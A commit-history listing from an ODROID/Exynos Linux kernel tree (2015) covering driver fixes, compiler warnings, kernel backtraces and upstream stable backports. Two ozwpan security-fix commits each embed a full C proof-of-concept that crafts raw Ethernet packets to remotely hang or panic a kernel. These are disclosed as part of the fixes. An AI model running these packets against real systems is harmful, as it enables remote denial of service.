1. 05 Nov, 2015 1 commit
  2. 04 Nov, 2015 1 commit
  3. 21 Oct, 2015 1 commit
    • Anand Moon's avatar
      usb: dwc3-exynos: Make provision for vdd regulators · a719a6f9
      Anand Moon authored
      From: Vivek Gautam <gautam.vivek@samsung.com>
      
      Facilitate getting required 3.3V and 1.0V VDD supply for
      DWC3 controller on Exynos.
      
      certain perripherals will now need to ensure that,
      they request VDD regulators in their drivers, and enable
      them so as to make them working.
      
      Change-Id: Ice38f24d7454110b089366fe1183cd3d36ad50bc
      Signed-off-by: 's avatarVivek Gautam <gautam.vivek@samsung.com>
      Cc: Anton Tikhomirov <av.tikhomirov@samsung.com>
      a719a6f9
  4. 19 Oct, 2015 1 commit
    • Anand Moon's avatar
      exynos: thermal: show throttle counters. · bf33772f
      Anand Moon authored
      Changes updates the counters in changes of state of TMU.
      Created sysfs throttle file to show the counters.
      
      $ /sys/devices/10060000.tmu/throttle
      
      Change-Id: I233b640b229e95ee38bdc1dbb3ca59330cc3fdbc
      bf33772f
  5. 14 Oct, 2015 1 commit
  6. 08 Oct, 2015 2 commits
    • Anand Moon's avatar
      thermal: exynos_thermal: Suppress the debug print for temperature change. · 52b56846
      Anand Moon authored
      Suppress the debug prints, it overrides the kernel debug messages.
      
      [ 127.273507] [c0] tmu temperature state 0 to 2, cur_temp : 96
      [ 127.282718] [c0] tmu temperature state 2 to 0, cur_temp : 95
      [ 127.351033] [c0] tmu temperature state 0 to 2, cur_temp : 96
      [ 127.367993] [c0] tmu temperature state 2 to 0, cur_temp : 94
      
      Change-Id: I58b3b7db7c48f59eac5ad4ed33cd1fbd44f49aa2
      52b56846
    • Brian Kim's avatar
      ODROID-XU3/4: Clean up the compiler warning messages · 40072ad6
      Brian Kim authored
      This patch fix the routines caused to output the warning message in compile time as below:
      - gcc version: gcc version 4.9.2 20140904 (prerelease) (crosstool-NG linaro-1.13.1-4.9-2014.09 - Linaro GCC 4.9-2014.09)
      
      drivers/cpufreq/cpufreq_interactive.c: In function ‘show_target_loads’:
      drivers/cpufreq/cpufreq_interactive.c:805:6: warning: operation on ‘ret’ may be undefined [-Wsequence-point]
        ret += sprintf(buf + --ret, "\n");
            ^
      drivers/cpufreq/cpufreq_interactive.c: In function ‘show_above_hispeed_delay’:
      drivers/cpufreq/cpufreq_interactive.c:845:6: warning: operation on ‘ret’ may be undefined [-Wsequence-point]
        ret += sprintf(buf + --ret, "\n");
            ^
      drivers/devfreq/exynos5422_bus_int.c: In function ‘exynos5_int_busfreq_target’:
      drivers/devfreq/exynos5422_bus_int.c:945:6: warning: unused variable ‘i’ [-Wunused-variable]
        int i, target_idx = LV_0;
            ^
      drivers/devfreq/exynos5422_bus_int.c: In function ‘exynos5_devfreq_int_probe’:
      drivers/devfreq/exynos5422_bus_int.c:1241:6: warning: unused variable ‘i’ [-Wunused-variable]
        int i, index = -1;
            ^
      drivers/devfreq/exynos5422_bus_int.c: In function ‘int_show_state’:
      drivers/devfreq/exynos5422_bus_int.c:1121:10: warning: iteration 1u invokes undefined behavior [-Waggressive-loop-optimizations]
         len += snprintf(buf + len, write_cnt, "%ld %llu\n", int_bus_opp_list[i].freq,
                ^
      drivers/devfreq/exynos5422_bus_int.c:1120:2: note: containing loop
        for (i = LV_0; i < LV_END; i++)
        ^
      sound/soc/samsung/lpass.c: In function ‘lpass_proc_show’:
      sound/soc/samsung/lpass.c:718:5: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 3 has type ‘void *’ [-Wformat=]
           ar->reg, ar->val);
           ^
      In file included from backports/drivers/net/wireless/ath/ath10k/debug.c:19:0:
      backports/backport-include/linux/debugfs.h:11:10: warning: ‘struct device’ declared inside parameter list
                void *data));
                ^
      backports/backport-include/linux/debugfs.h:11:10: warning: its scope is only this definition or declaration, which is probably not what you want
      In file included from backports/drivers/net/wireless/ath/wcn36xx/debug.c:19:0:
      backports/backport-include/linux/debugfs.h:11:10: warning: ‘struct device’ declared inside parameter list
                void *data));
                ^
      backports/backport-include/linux/debugfs.h:11:10: warning: its scope is only this definition or declaration, which is probably not what you want
      backports/drivers/realtek/8192cu/hal/rtl8192c/rtl8192c_rf6052.c: In function ‘PHY_RFShadowRefresh’:
      backports/drivers/realtek/8192cu/hal/rtl8192c/rtl8192c_rf6052.c:1020:37: warning: iteration 63u invokes undefined behavior [-Waggressive-loop-optimizations]
          RF_Shadow[eRFPath][Offset].Value = 0;
                                           ^
      backports/drivers/realtek/8192cu/hal/rtl8192c/rtl8192c_rf6052.c:1018:3: note: containing loop
         for (Offset = 0; Offset <= RF6052_MAX_REG; Offset++)
         ^
      drivers/gpu/drm/exynos/exynos_drm_drv.c: In function ‘exynos_drm_init’:
      drivers/gpu/drm/exynos/exynos_drm_drv.c:768:1: warning: label ‘err_unregister_pd’ defined but not used [-Wunused-label]
       err_unregister_pd:
       ^
      net/core/sysctl_net_core.c:24:12: warning: ‘one’ defined but not used [-Wunused-variable]
       static int one = 1;
                  ^
      drivers/gpu/drm/exynos/exynos_hdmi.c: In function ‘hdmi_hpd_enable’:
      drivers/gpu/drm/exynos/exynos_hdmi.c:233:27: warning: passing argument 3 of ‘kstrtoul’ from incompatible pointer type
           if(kstrtoul(line, 10, &gEnableHPD) != 0)    gEnableHPD = true;
                                 ^
      In file included from include/drm/drmP.h:45:0,
                       from drivers/gpu/drm/exynos/exynos_hdmi.c:17:
      include/linux/kernel.h:255:32: note: expected ‘long unsigned int *’ but argument is of type ‘unsigned int *’
       static inline int __must_check kstrtoul(const char *s, unsigned int base, unsigned long *res)
                                      ^
      drivers/gpu/drm/exynos/exynos_hdmi.c: At top level:
      drivers/gpu/drm/exynos/exynos_hdmi.c:1985:13: warning: ‘hdmiphy_poweroff’ defined but not used [-Wunused-function]
       static void hdmiphy_poweroff(struct hdmi_context *hdata)
                   ^
      drivers/hardkernel/ioboard-spi.c:223:12: warning: ‘ioboard_spi_read_memory’ defined but not used [-Wunused-function]
       static int ioboard_spi_read_memory              (struct spi_device *spi, unsigned int addr, unsigned char *rdata, unsigned int size)
                  ^
      drivers/hardkernel/ioboard-spi.c:329:13: warning: ‘ioboard_spi_test’ defined but not used [-Wunused-function]
       static void ioboard_spi_test        (struct spi_device *spi)
                   ^
      drivers/hid/hid-appleir.c:347:22: warning: initialization from incompatible pointer type
        .input_configured = appleir_input_configured,
                            ^
      drivers/hid/hid-appleir.c:347:22: warning: (near initialization for ‘appleir_driver.input_configured’)
      In file included from backports/net/wireless/core.c:16:0:
      backports/backport-include/linux/debugfs.h:11:10: warning: ‘struct device’ declared inside parameter list
                void *data));
                ^
      backports/backport-include/linux/debugfs.h:11:10: warning: its scope is only this definition or declaration, which is probably not what you want
      drivers/hid/hid-magicmouse.c:590:22: warning: initialization from incompatible pointer type
        .input_configured = magicmouse_input_configured,
                            ^
      drivers/hid/hid-magicmouse.c:590:22: warning: (near initialization for ‘magicmouse_driver.input_configured’)
      drivers/hid/hid-ntrig.c:1026:22: warning: initialization from incompatible pointer type
        .input_configured = ntrig_input_configured,
                            ^
      drivers/hid/hid-ntrig.c:1026:22: warning: (near initialization for ‘ntrig_driver.input_configured’)
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3580:17: warning: initialization from incompatible pointer type
        .get_station = cfg80211_rtw_get_station,
                       ^
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3580:17: warning: (near initialization for ‘rtw_cfg80211_ops.get_station’)
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3608:17: warning: initialization from incompatible pointer type
        .add_station = cfg80211_rtw_add_station,
                       ^
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3608:17: warning: (near initialization for ‘rtw_cfg80211_ops.add_station’)
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3609:17: warning: initialization from incompatible pointer type
        .del_station = cfg80211_rtw_del_station,
                       ^
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3609:17: warning: (near initialization for ‘rtw_cfg80211_ops.del_station’)
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3610:20: warning: initialization from incompatible pointer type
        .change_station = cfg80211_rtw_change_station,
                          ^
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3610:20: warning: (near initialization for ‘rtw_cfg80211_ops.change_station’)
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3617:13: warning: initialization from incompatible pointer type
        .mgmt_tx = cfg80211_rtw_mgmt_tx,
                   ^
      backports/drivers/realtek/rtl8192du/os_dep/ioctl_cfg80211.c:3617:13: warning: (near initialization for ‘rtw_cfg80211_ops.mgmt_tx’)
      net/rfkill/rfkill-regulator.c: In function ‘rfkill_regulator_set_block’:
      net/rfkill/rfkill-regulator.c:43:4: warning: ignoring return value of ‘regulator_enable’, declared with attribute warn_unused_result [-Wunused-result]
          regulator_enable(rfkill_data->vcc);
          ^
      drivers/media/platform/exynos/mfc/s5p_mfc.c:2108:28: warning: ‘s5p_mfc_dec_drm_videodev’ defined but not used [-Wunused-variable]
       static struct video_device s5p_mfc_dec_drm_videodev = {
                                  ^
      drivers/media/platform/exynos/mfc/s5p_mfc.c:2115:28: warning: ‘s5p_mfc_enc_drm_videodev’ defined but not used [-Wunused-variable]
       static struct video_device s5p_mfc_enc_drm_videodev = {
                                  ^
      fs/binfmt_misc.c: In function ‘parse_command.part.1’:
      fs/binfmt_misc.c:405:7: warning: array subscript is above array bounds [-Warray-bounds]
        if (s[count-1] == '\n')
             ^
      drivers/usb/host/xhci.c: In function ‘xhci_free_dev’:
      drivers/usb/host/xhci.c:3506:17: warning: unused variable ‘dev’ [-Wunused-variable]
        struct device *dev = hcd->self.controller;
                       ^
      drivers/usb/host/xhci.c: In function ‘xhci_alloc_dev’:
      drivers/usb/host/xhci.c:3592:17: warning: unused variable ‘dev’ [-Wunused-variable]
        struct device *dev = hcd->self.controller;
                       ^
      drivers/usb/host/xhci-plat.c: In function ‘xhci_plat_probe’:
      drivers/usb/host/xhci-plat.c:156:4: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
          extern void samsung_usb3phy_retune(int);
          ^
      arch/arm/boot/compressed/atags_to_fdt.c: In function ‘merge_fdt_bootargs’:
      arch/arm/boot/compressed/atags_to_fdt.c:96:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
       }
       ^
      
      Change-Id: I646d4470fecdef67da42bcff549a2dc3632c68cd
      40072ad6
  7. 01 Oct, 2015 1 commit
    • Damian Eppel's avatar
      clocksource: exynos_mct: Avoid blocking calls in the cpu hotplug notifier · 6d913c32
      Damian Eppel authored
      Whilst testing cpu hotplug events on kernel configured with
      DEBUG_PREEMPT and DEBUG_ATOMIC_SLEEP we get following BUG message,
      caused by calling request_irq() and free_irq() in the context of
      hotplug notification (which is in this case atomic context).
      
      [    0.091617] [c0] CPU0: thread -1, cpu 0, socket 1, mpidr 80000100
      [    0.091828] [c0] Running under secure firmware.
      [    0.091901] [c0] Setting up static identity map for 0xc0618b98 - 0xc0618bf0
      [    0.091962] [c0] Exynos-SnapShot: exynos_ss_init failed
      [    0.112330] [c0] ftrace: Allocated trace_printk buffers
      [    0.134323] [c1] CPU1: Booted secondary processor
      [    0.134354] [c1] CPU1: thread -1, cpu 1, socket 1, mpidr 80000101
      [    0.134402] [c1] BUG: sleeping function called from invalid context at mm/page_alloc.c:2638
      [    0.134518] [c1] in_atomic(): 1, irqs_disabled(): 0, pid: 0, name: swapper/1
      [    0.134560] [c1] no locks held by swapper/1/0.
      [    0.134598] [c1] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 3.10.82-xu43hk #11
      [    0.134640] [c1] Backtrace:
      [    0.134694] [c1] [<c00132e4>] (dump_backtrace+0x0/0x114) from [<c0013554>] (show_stack+0x20/0x24)
      [    0.134744] [c1]  r7:00000000 r6:00000000 r5:df2da000 r4:c098c9c0
      [    0.134826] [c1] [<c0013534>] (show_stack+0x0/0x24) from [<c06124d8>] (dump_stack+0x24/0x28)
      [    0.134887] [c1] [<c06124b4>] (dump_stack+0x0/0x28) from [<c00617f8>] (__might_sleep+0x144/0x148)
      [    0.134952] [c1] [<c00616b4>] (__might_sleep+0x0/0x148) from [<c00f5590>] (__alloc_pages_nodemask+0x2a0/0xaac)
      [    0.135006] [c1]  r5:00080008 r4:002012d0
      [    0.135065] [c1] [<c00f52f0>] (__alloc_pages_nodemask+0x0/0xaac) from [<c012875c>] (new_slab+0x7c/0x22c)
      [    0.135132] [c1] [<c01286e0>] (new_slab+0x0/0x22c) from [<c012a92c>] (__slab_alloc.isra.14.constprop.18+0x558/0x61c)
      [    0.135187] [c1]  r9:00000000 r8:df001f00 r7:014f7000 r6:00000000 r5:c1dee9e0
      [    0.135187] r4:c08f79e0
      [    0.135295] [c1] [<c012a3d4>] (__slab_alloc.isra.14.constprop.18+0x0/0x61c) from [<c012af3c>] (kmem_cache_alloc_trace+0x194/0x1c8)
      [    0.135367] [c1] [<c012ada8>] (kmem_cache_alloc_trace+0x0/0x1c8) from [<c00b04e0>] (request_threaded_irq+0x78/0x138)
      [    0.135433] [c1] [<c00b0468>] (request_threaded_irq+0x0/0x138) from [<c0610f7c>] (exynos4_local_timer_setup+0x100/0x160)
      [    0.135507] [c1] [<c0610e7c>] (exynos4_local_timer_setup+0x0/0x160) from [<c060de3c>] (percpu_timer_setup+0xa4/0xb0)
      [    0.135562] [c1]  r8:4000406a r7:c0968c84 r6:10c0387d r5:c09148c0 r4:c1de9280
      [    0.135655] [c1] [<c060dd98>] (percpu_timer_setup+0x0/0xb0) from [<c060e1e4>] (secondary_start_kernel+0x118/0x134)
      [    0.135710] [c1]  r5:c09148c0 r4:00000001
      [    0.135765] [c1] [<c060e0cc>] (secondary_start_kernel+0x0/0x134) from [<4060d784>] (0x4060d784)
      [    0.135815] [c1]  r5:00000015 r4:5f13006a
      [    0.144239] [c2] CPU2: Booted secondary processor
      [    0.144267] [c2] CPU2: thread -1, cpu 2, socket 1, mpidr 80000102
      [    0.154295] [c3] CPU3: Booted secondary processor
      
      Change-Id: I78ee2d3997b2137e3c19432e17b3e3672523cf43
      6d913c32
  8. 30 Sep, 2015 1 commit
  9. 01 Sep, 2015 1 commit
  10. 21 Aug, 2015 1 commit
  11. 14 Aug, 2015 1 commit
  12. 07 Aug, 2015 1 commit
    • Dongjin Kim's avatar
      media/rc: Fix taint warning when driver is loaded · c428c5cf
      Dongjin Kim authored
      ------------[ cut here ]------------
      WARNING: CPU: 7 PID: 1772 at drivers/base/dd.c:286 driver_probe_device+0x254/0x2b4()
      Modules linked in: gpioplug_ir_recv(+) gpio_ir_recv rc_core fbtft_device(C) fbtft(C) syscs
      CPU: 7 PID: 1772 Comm: modprobe Tainted: G         C 4.2.0-rc1+ #10
      Hardware name: SAMSUNG EXYNOS (Flattened Device Tree)
      [<c0015824>] (unwind_backtrace) from [<c0012798>] (show_stack+0x10/0x14)
      [<c0012798>] (show_stack) from [<c0512fe0>] (dump_stack+0x84/0xc4)
      [<c0512fe0>] (dump_stack) from [<c0028ef8>] (warn_slowpath_common+0x80/0xb0)
      [<c0028ef8>] (warn_slowpath_common) from [<c0028fc4>] (warn_slowpath_null+0x1c/0x24)
      [<c0028fc4>] (warn_slowpath_null) from [<c0362318>] (driver_probe_device+0x254/0x2b4)
      [<c0362318>] (driver_probe_device) from [<c0360878>] (bus_for_each_drv+0x60/0x94)
      [<c0360878>] (bus_for_each_drv) from [<c0362054>] (__device_attach+0x8c/0xd8)
      [<c0362054>] (__device_attach) from [<c03617a4>] (bus_probe_device+0x84/0x8c)
      [<c03617a4>] (bus_probe_device) from [<c035fb90>] (device_add+0x3e8/0x570)
      [<c035fb90>] (device_add) from [<c0363c80>] (platform_device_add+0x84/0x188)
      [<c0363c80>] (platform_device_add) from [<bf03f09c>] (gpio_init+0x9c/0xfc [gpioplug_ir_re)
      [<bf03f09c>] (gpio_init [gpioplug_ir_recv]) from [<c0009710>] (do_one_initcall+0x8c/0x1d4)
      [<c0009710>] (do_one_initcall) from [<c051236c>] (do_init_module+0x5c/0x1cc)
      [<c051236c>] (do_init_module) from [<c008eb4c>] (load_module+0x164c/0x1e08)
      [<c008eb4c>] (load_module) from [<c008f49c>] (SyS_finit_module+0x68/0x78)
      [<c008f49c>] (SyS_finit_module) from [<c000f500>] (ret_fast_syscall+0x0/0x3c)
      ---[ end trace 5040610fa9a8c931 ]---
      
      Change-Id: If08f987033d521d85f3aaff50fd90c506eea5e0d
      Signed-off-by: 's avatarDongjin Kim <tobetter@gmail.com>
      c428c5cf
  13. 06 Aug, 2015 1 commit
  14. 03 Aug, 2015 1 commit
  15. 01 Aug, 2015 1 commit
  16. 30 Jul, 2015 2 commits
  17. 22 Jul, 2015 1 commit
  18. 10 Jul, 2015 1 commit
  19. 03 Jul, 2015 1 commit
  20. 30 Jun, 2015 2 commits
  21. 29 Jun, 2015 3 commits
  22. 22 Jun, 2015 14 commits
    • Jani Nikula's avatar
      drm/i915: Fix DDC probe for passive adapters · a0e4eeff
      Jani Nikula authored
      commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.
      
      Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
      devices, as they do not have a sink device in them to respond to any AUX
      traffic. When probing these dongles over the DDC, sometimes they will
      NAK the first attempt even though the transaction is valid and they
      support the DDC protocol. The retry loop inside of
      drm_do_probe_ddc_edid() would normally catch this case and try the
      transaction again, resulting in success.
      
      That, however, was thwarted by the fix for [1]:
      
      commit 9292f37e
      Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
      Date:   Thu Jan 5 09:34:28 2012 -0200
      
          drm: give up on edid retries when i2c bus is not responding
      
      This added code to exit immediately if the return code from the
      i2c_transfer function was -ENXIO in order to reduce the amount of time
      spent in waiting for unresponsive or disconnected devices. That was
      possible because the underlying i2c bit banging algorithm had retries of
      its own (which, of course, were part of the reason for the bug the
      commit fixes).
      
      Since its introduction in
      
      commit f899fc64
      Author: Chris Wilson <chris@chris-wilson.co.uk>
      Date:   Tue Jul 20 15:44:45 2010 -0700
      
          drm/i915: use GMBUS to manage i2c links
      
      we've been flipping back and forth enabling the GMBUS transfers, but
      we've settled since then. The GMBUS implementation does not do any
      retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
      on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
      the retry on -ENXIO.
      
      Retry GMBUS once on -ENXIO on first message to mitigate the issues with
      passive adapters.
      
      This patch is based on the work, and commit message, by Todd Previte
      <tprevite@gmail.com>.
      
      [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
      
      v2: Don't retry if using bit banging.
      
      v3: Move retry within gmbux_xfer, retry only on first message.
      
      v4: Initialize GMBUS0 on retry (Ville).
      
      v5: Take index reads into account (Ville).
      
      Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
      Cc: Todd Previte <tprevite@gmail.com>
      Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
      Tested-by: 's avatarJim Bride <jim.bride@linux.intel.com>
      Reviewed-by: 's avatarVille Syrjälä <ville.syrjala@linux.intel.com>
      Signed-off-by: 's avatarJani Nikula <jani.nikula@intel.com>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      a0e4eeff
    • Aaro Koskinen's avatar
      pata_octeon_cf: fix broken build · 57d5697f
      Aaro Koskinen authored
      commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.
      
      MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
      build. Fix that.
      Signed-off-by: 's avatarAaro Koskinen <aaro.koskinen@nokia.com>
      Signed-off-by: 's avatarTejun Heo <tj@kernel.org>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      57d5697f
    • Jason A. Donenfeld's avatar
      ozwpan: unchecked signed subtraction leads to DoS · 1c9daa06
      Jason A. Donenfeld authored
      commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
      
      The subtraction here was using a signed integer and did not have any
      bounds checking at all. This commit adds proper bounds checking, made
      easy by use of an unsigned integer. This way, a single packet won't be
      able to remotely trigger a massive loop, locking up the system for a
      considerable amount of time. A PoC follows below, which requires
      ozprotocol.h from this module.
      
      =-=-=-=-=-=
      
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
      
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      
      static int hex2num(char c)
      {
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      }
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      {
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	}
      	return 0;
      }
      
      int main(int argc, char *argv[])
      {
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	}
      
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	}
      
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		perror("socket");
      		return 1;
      	}
      
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		perror("SIOCGIFINDEX");
      		return 1;
      	}
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		perror("SIOCGIFHWADDR");
      		return 1;
      	}
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      		struct oz_elt oz_elt2;
      		struct oz_multiple_fixed oz_multiple_fixed;
      	} __packed packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		},
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 0,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		},
      		.oz_elt2 = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_multiple_fixed) - 3
      		},
      		.oz_multiple_fixed = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_USB_ENDPOINT_DATA,
      			.endpoint = 0,
      			.format = OZ_DATA_F_MULTIPLE_FIXED,
      			.unit_size = 1,
      			.data = {0}
      		}
      	};
      
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	};
      
      	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	return 0;
      }
      Signed-off-by: 's avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: 's avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      1c9daa06
    • Jason A. Donenfeld's avatar
      ozwpan: divide-by-zero leading to panic · 8ca9ab66
      Jason A. Donenfeld authored
      commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream.
      
      A network supplied parameter was not checked before division, leading to
      a divide-by-zero. Since this happens in the softirq path, it leads to a
      crash. A PoC follows below, which requires the ozprotocol.h file from
      this module.
      
      =-=-=-=-=-=
      
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
      
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      
      static int hex2num(char c)
      {
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      }
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      {
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	}
      	return 0;
      }
      
      int main(int argc, char *argv[])
      {
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	}
      
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	}
      
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		perror("socket");
      		return 1;
      	}
      
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		perror("SIOCGIFINDEX");
      		return 1;
      	}
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		perror("SIOCGIFHWADDR");
      		return 1;
      	}
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      		struct oz_elt oz_elt2;
      		struct oz_multiple_fixed oz_multiple_fixed;
      	} __packed packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		},
      		.oz_hdr = {
      			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		},
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		},
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 0,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		},
      		.oz_elt2 = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_multiple_fixed)
      		},
      		.oz_multiple_fixed = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_USB_ENDPOINT_DATA,
      			.endpoint = 0,
      			.format = OZ_DATA_F_MULTIPLE_FIXED,
      			.unit_size = 0,
      			.data = {0}
      		}
      	};
      
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	};
      
      	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		perror("sendto");
      		return 1;
      	}
      	return 0;
      }
      Signed-off-by: 's avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: 's avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: 's avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
      8ca9ab66
    • Jason A. Donenfeld's avatar
      ozwpan: Use proper check to prevent heap overflow · 1804b143
      Jason A. Donenfeld authored
